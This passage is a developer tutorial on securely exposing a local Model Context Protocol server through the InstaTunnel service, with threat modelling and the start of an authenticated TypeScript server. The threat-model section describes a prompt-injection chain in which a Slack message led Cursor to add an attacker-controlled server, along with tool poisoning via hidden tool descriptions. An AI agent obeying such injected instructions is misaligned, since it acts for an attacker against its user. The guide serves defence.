&lt;p&gt;AI engineering has moved a lot of work onto developer machines. Agents call local tools, read local files, and query local databases through the &lt;strong&gt;Model Context Protocol (MCP)&lt;/strong&gt;. Anthropic introduced MCP, and in December 2025 &lt;a href="https://www.anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation" rel="noopener noreferrer"&gt;donated it to the Agentic AI Foundation&lt;/a&gt;, a directed fund under the Linux Foundation. It is now a vendor-neutral open standard.&lt;/p&gt;

&lt;p&gt;The friction shows up when something that isn’t on your machine needs to reach your MCP server. That might be a hosted agent, a teammate’s client, or a staging environment. A tunnel is the fastest fix, but it turns a loopback-only process into a public HTTPS endpoint. A local MCP server is a program running with your user account’s privileges, so whatever it is coded to touch, anyone who can reach it can try to touch.&lt;/p&gt;

&lt;p&gt;This guide covers four things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;how MCP’s transports work today&lt;/li&gt;
&lt;li&gt;which threats a tunnel actually changes&lt;/li&gt;
&lt;li&gt;how to expose a server with InstaTunnel using only features its documentation describes&lt;/li&gt;
&lt;li&gt;how to layer authentication so the tunnel is not your only defense&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  MCP Transports in 2026
&lt;/h2&gt;

&lt;p&gt;The current specification defines &lt;a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/streamable-http" rel="noopener noreferrer"&gt;two standard transports&lt;/a&gt;: &lt;strong&gt;stdio&lt;/strong&gt; and &lt;strong&gt;Streamable HTTP&lt;/strong&gt;. The older HTTP+SSE transport from the 2024-11-05 revision is deprecated, and new implementations should not adopt it.&lt;/p&gt;

&lt;h3&gt;
  
  
  stdio: the local default
&lt;/h3&gt;

&lt;p&gt;With stdio, the client launches the MCP server as a subprocess and exchanges JSON-RPC messages over standard input and output. The spec says clients &lt;a href="https://modelcontextprotocol.io/specification/2025-11-25/basic/transports" rel="noopener noreferrer"&gt;SHOULD support stdio whenever possible&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Privileges:&lt;/strong&gt; the server is a child process of your user account, so it can reach whatever your account can reach and the server’s code allows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scope:&lt;/strong&gt; there is no network listener. Only the client that spawned it can talk to it, which is why &lt;a href="https://www.mcpbundles.com/guides/mcp-security-best-practices" rel="noopener noreferrer"&gt;security guidance for local servers favors stdio&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authentication:&lt;/strong&gt; the authorization spec says stdio implementations &lt;a href="https://modelcontextprotocol.net/specification/2026-07-28/basic/authorization.md" rel="noopener noreferrer"&gt;SHOULD NOT follow the OAuth flow&lt;/a&gt; and should take credentials from the environment instead.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A remote client cannot spawn a process on your laptop, so exposing a stdio server remotely needs a network layer, either a bridge or an HTTP-native server.&lt;/p&gt;

&lt;h3&gt;
  
  
  Streamable HTTP: the remote transport
&lt;/h3&gt;

&lt;p&gt;In the latest revision (2026-07-28), Streamable HTTP is much simpler than earlier versions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The server exposes a &lt;strong&gt;single endpoint&lt;/strong&gt; (for example &lt;code&gt;/mcp&lt;/code&gt;) that accepts POST.&lt;/li&gt;
&lt;li&gt;Every JSON-RPC message is its own POST. The server replies with either a single JSON object or a &lt;strong&gt;Server-Sent Events (SSE) stream scoped to that request&lt;/strong&gt;. That stream carries progress notifications and ends with the final response.&lt;/li&gt;
&lt;li&gt;Protocol-level sessions, the &lt;code&gt;initialize&lt;/code&gt; handshake, the standalone GET stream and &lt;code&gt;Last-Event-ID&lt;/code&gt; resumability are all gone. Clients speaking &lt;code&gt;2025-03-26&lt;/code&gt; through &lt;code&gt;2025-11-25&lt;/code&gt; used the old shape, including &lt;code&gt;Mcp-Session-Id&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;POSTs carry &lt;code&gt;MCP-Protocol-Version&lt;/code&gt;, &lt;code&gt;Mcp-Method&lt;/code&gt; and, for calls like &lt;code&gt;tools/call&lt;/code&gt;, &lt;code&gt;Mcp-Name&lt;/code&gt; headers, so gateways can route without parsing JSON bodies.&lt;/li&gt;
&lt;li&gt;Closing the response stream counts as cancelling that request.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two consequences matter for tunnels:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Dropped connections are not resumable.&lt;/strong&gt; A tunnel that drops mid-stream means the client must re-issue the request, so keep tool calls safe to retry.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Intermediaries can buffer streams.&lt;/strong&gt; The spec says servers SHOULD send &lt;code&gt;X-Accel-Buffering: no&lt;/code&gt; when opening an SSE stream. It also encourages periodic SSE comment lines as keep-alives on long-lived streams so intermediaries don’t close idle connections.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Remote agent / test client
        │  HTTPS POST /mcp  (JSON or SSE response)
        ▼
InstaTunnel public edge  (https://&amp;lt;subdomain&amp;gt;.instatunnel.my)
        │  tunnel
        ▼
Local MCP server on 127.0.0.1:8787
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What the Specification Requires of an HTTP Server
&lt;/h2&gt;

&lt;p&gt;For Streamable HTTP the spec’s security section says:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Servers &lt;strong&gt;MUST validate the &lt;code&gt;Origin&lt;/code&gt; header&lt;/strong&gt; on all incoming connections to prevent DNS rebinding. An invalid &lt;code&gt;Origin&lt;/code&gt; gets HTTP 403.&lt;/li&gt;
&lt;li&gt;Servers running locally &lt;strong&gt;SHOULD bind only to localhost&lt;/strong&gt; (&lt;code&gt;127.0.0.1&lt;/code&gt;), not &lt;code&gt;0.0.0.0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Servers &lt;strong&gt;SHOULD implement proper authentication&lt;/strong&gt; for all connections.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Authorization itself is optional in MCP. When an HTTP server does implement it, the spec builds on OAuth 2.1 and says the server acts as a resource server. Among its requirements:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Servers MUST validate that access tokens were issued for them as the intended audience.&lt;/li&gt;
&lt;li&gt;Servers MUST NOT accept or pass along other tokens.&lt;/li&gt;
&lt;li&gt;Invalid or expired tokens MUST receive a 401.&lt;/li&gt;
&lt;li&gt;Access tokens MUST NOT go in the URI query string.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Threat Model When You Add a Tunnel
&lt;/h2&gt;

&lt;p&gt;A tunnel does not create new MCP vulnerabilities. It changes &lt;strong&gt;who can reach&lt;/strong&gt; the ones you already have.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prompt injection reaching tool arguments.&lt;/strong&gt; Models build tool arguments from context, and context can contain attacker text. A &lt;a href="https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-tool-poisoning-auto-execution-20260701/" rel="noopener noreferrer"&gt;Cloud Security Alliance research note&lt;/a&gt; describes a demonstrated chain in which a crafted Slack message, handled through an already-approved Slack MCP server, steered Cursor into rewriting its global &lt;code&gt;mcp.json&lt;/code&gt; to add an attacker-controlled server. A tunnel does not cause this, but it widens the set of clients that can call your tools. Remote clients are also less likely to have a human approving each call.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tool poisoning.&lt;/strong&gt; Malicious instructions can sit in tool descriptions that the model sees but the user usually doesn’t. &lt;a href="https://mcp.directory/blog/mcp-security-200000-exposed-servers-owasp-mcp-top-10-cves" rel="noopener noreferrer"&gt;Invariant Labs published the original advisory in April 2025&lt;/a&gt;. Review tool definitions, pin versions, and treat descriptions as part of your supply chain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Unauthenticated endpoints and DNS rebinding.&lt;/strong&gt; CVE-2025-49596 was an unauthenticated remote code execution flaw in MCP Inspector. Its proxy exposed an endpoint with no authentication between client and proxy. It was &lt;a href="https://pypi.org/project/mcp-cve-lint/" rel="noopener noreferrer"&gt;fixed in 0.14.1&lt;/a&gt;. Oligo also &lt;a href="https://www.recordedfuture.com/blog/anthropic-mcp-inspector-cve-2025-49596" rel="noopener noreferrer"&gt;demonstrated the same RCE through DNS rebinding&lt;/a&gt;, where an attacker’s web page reaches a localhost service. Current Inspector builds require a proxy token by default, bind to localhost, and validate &lt;code&gt;Origin&lt;/code&gt;. Binding to loopback alone was not enough before the fix.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Token passthrough and confused deputy.&lt;/strong&gt; The MCP security best practices describe &lt;a href="https://modelcontextprotocol.io/specification/latest/basic/security_best_practices" rel="noopener noreferrer"&gt;token passthrough&lt;/a&gt; as an anti-pattern. A server accepts tokens that weren’t issued to it and forwards them to a downstream API. The authorization spec explicitly forbids it, because it can bypass controls such as rate limiting that depend on token audience. If your local server proxies to another API, validate the audience and never forward the client’s token.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reference servers are demonstrations.&lt;/strong&gt; The official &lt;code&gt;modelcontextprotocol/servers&lt;/code&gt; repository carries a &lt;a href="https://github.com/modelcontextprotocol/servers" rel="noopener noreferrer"&gt;warning&lt;/a&gt; that its servers are reference implementations that demonstrate MCP features and SDK usage. The Filesystem and Git servers are still maintained there, while the SQLite server has moved to an &lt;a href="https://www.github.com/modelcontextprotocol/servers-archived" rel="noopener noreferrer"&gt;archived repository&lt;/a&gt; that offers no security guarantees. Don’t put one behind a public URL just because it is official.&lt;/p&gt;

&lt;h2&gt;
  
  
  What InstaTunnel Documents for MCP
&lt;/h2&gt;

&lt;p&gt;The details below come from the npm README for the &lt;code&gt;instatunnel&lt;/code&gt; CLI (version 1.1.23). Check the &lt;a href="https://instatunnel.my/docs" rel="noopener noreferrer"&gt;current docs&lt;/a&gt; before relying on them, since the CLI changes quickly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Installing and signing in&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; instatunnel

&lt;span class="c"&gt;# New users: start the verification-email flow&lt;/span&gt;
instatunnel auth login &lt;span class="nt"&gt;-e&lt;/span&gt; you@example.com

&lt;span class="c"&gt;# Existing users: save an API key&lt;/span&gt;
instatunnel auth set-key &lt;span class="s2"&gt;"it_your_api_key"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;MCP mode&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MCP tunnels are listed as a &lt;strong&gt;Pro and Business&lt;/strong&gt; feature, described as &lt;strong&gt;beta&lt;/strong&gt; on the README’s feature list.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;instatunnel 8787 --mcp&lt;/code&gt; starts an MCP tunnel. Appending &lt;code&gt;/mcp&lt;/code&gt; to the generated URL gives the endpoint your client calls.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--transport v1&lt;/code&gt; is the default. The README recommends &lt;code&gt;--transport v2&lt;/code&gt; for streaming, meaning MCP Streamable HTTP, long-lived tool responses and server-push-like flows. &lt;code&gt;v2&lt;/code&gt; needs CLI 1.1.7 or newer.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;instatunnel doctor --mcp&lt;/code&gt; runs MCP readiness checks.&lt;/li&gt;
&lt;li&gt;The README lists “MCP security controls: staged token header + stricter MCP rate limits”, plus “dedicated protective limits” for MCP traffic.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The staged token header&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The README documents an optional header, &lt;code&gt;X-InstaTunnel-MCP-Token&lt;/code&gt;, configured through an environment variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;INSTATUNNEL_MCP_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"your-shared-secret"&lt;/span&gt;
instatunnel 8787 &lt;span class="nt"&gt;--mcp&lt;/span&gt; &lt;span class="nt"&gt;--transport&lt;/span&gt; v2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The README does not say whether the edge enforces this header, strips it, or passes it through to your server. It also doesn’t say whether remote clients must send it themselves. Treat it as an outer gate and test its behavior in your own setup. Your server should enforce its own authentication and not depend on that header arriving.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Other documented controls&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;--password&lt;/code&gt; (password protect) and &lt;code&gt;--auth user:pass&lt;/code&gt; (basic auth) appear in the flag reference. Browser-style prompts may not suit a non-interactive MCP client, so test before relying on them.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--subdomain&lt;/code&gt; sets a custom subdomain on &lt;code&gt;instatunnel.my&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--logs&lt;/code&gt; polls request logs (Pro/Business), &lt;code&gt;--list&lt;/code&gt; shows active tunnels, and &lt;code&gt;--kill &amp;lt;subdomain&amp;gt;&lt;/code&gt; stops one.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What the documentation does not claim&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The README describes HTTPS URLs. It does not describe end-to-end encryption to your machine, and it doesn’t describe header rewriting beyond the staged token. Don’t assume either.&lt;/p&gt;

&lt;h2&gt;
  
  
  Streaming Through the Tunnel
&lt;/h2&gt;

&lt;p&gt;MCP tool calls can run long and emit progress, so buffering is the main failure mode.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Use transport v2&lt;/strong&gt; when a client expects streaming responses, per the InstaTunnel README.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Send &lt;code&gt;X-Accel-Buffering: no&lt;/code&gt;&lt;/strong&gt; on SSE responses. This is a spec SHOULD, so check what your server actually sends:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;  curl &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://&amp;lt;subdomain&amp;gt;.instatunnel.my/mcp &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$MCP_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Accept: application/json, text/event-stream"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"jsonrpc":"2.0","id":1,"method":"tools/list"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look at the response headers and confirm that events arrive as they are produced.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Emit keep-alive comments&lt;/strong&gt; (a line beginning with a colon) on long-lived streams if idle timeouts bite.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make retries safe,&lt;/strong&gt; because a stream that dies mid-call cannot be resumed in the current revision.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don’t invent protocol details.&lt;/strong&gt; Hand-rolled handlers that write ad hoc &lt;code&gt;data:&lt;/code&gt; events, or an OpenAI-style &lt;code&gt;[DONE]&lt;/code&gt; sentinel, are not MCP. Use the official SDK so framing, headers and error codes match the spec.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Layered Authentication for Tunneled MCP
&lt;/h2&gt;

&lt;p&gt;Relying on an obscure URL is not a security control. If you pick a memorable subdomain like &lt;code&gt;mymcp&lt;/code&gt;, anyone can guess it. Use layers so a failure in one doesn’t expose your tools:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Edge gate (optional):&lt;/strong&gt; InstaTunnel’s staged token header, with the caveats above.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Server authentication (required):&lt;/strong&gt; a bearer token the server checks on every request. InstaTunnel’s own README suggests configuring the MCP server to require &lt;code&gt;Authorization: Bearer &amp;lt;token&amp;gt;&lt;/code&gt;. A shared secret is acceptable for a short-lived dev session. For anything longer-lived or multi-user, follow the spec’s OAuth 2.1 resource-server model with audience validation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Host and Origin validation (required):&lt;/strong&gt; reject unexpected &lt;code&gt;Host&lt;/code&gt; and &lt;code&gt;Origin&lt;/code&gt; values.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Capability limits (required):&lt;/strong&gt; expose only the tools the test needs, with strict input schemas, no shell execution, and read-only file scopes.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Hands-On: A Locked-Down MCP Server Behind InstaTunnel
&lt;/h2&gt;

&lt;p&gt;This uses the official TypeScript SDK (v2), the &lt;a href="https://github.com/modelcontextprotocol/typescript-sdk" rel="noopener noreferrer"&gt;stable line implementing the 2026-07-28 spec&lt;/a&gt;. The v1 &lt;code&gt;@modelcontextprotocol/sdk&lt;/code&gt; package stays supported for at least six months after v2’s release but follows different APIs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Create the project
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir &lt;/span&gt;local-mcp-secure &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;local-mcp-secure
npm init &lt;span class="nt"&gt;-y&lt;/span&gt;
npm pkg &lt;span class="nb"&gt;set type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;module
npm &lt;span class="nb"&gt;install&lt;/span&gt; @modelcontextprotocol/server @modelcontextprotocol/express @modelcontextprotocol/node express zod
npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; tsx typescript @types/express @types/node
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2: Write the server
&lt;/h3&gt;

&lt;p&gt;Create &lt;code&gt;server.ts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;timingSafeEqual&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:crypto&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;NextFunction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createMcpExpressApp&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@modelcontextprotocol/express&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;toNodeHandler&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@modelcontextprotocol/node&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createMcpHandler&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;McpServer&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@modelcontextprotocol/server&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="kd"&gt;as &lt;/span&gt;&lt;span class="nx"&gt;z&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;zod/v4&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8787&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TOKEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;MCP_TOKEN&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PUBLIC_HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;MCP_PUBLIC_HOST&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// e.g. acme-mcp-dev.instatunnel.my&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TOKEN&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Set MCP_TOKEN to a random value of at least 32 characters.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;tokenMatches&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;presented&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;presented&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;TOKEN&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nf"&gt;timingSafeEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;requireToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;NextFunction&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;scheme&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;presented&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;authorization&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
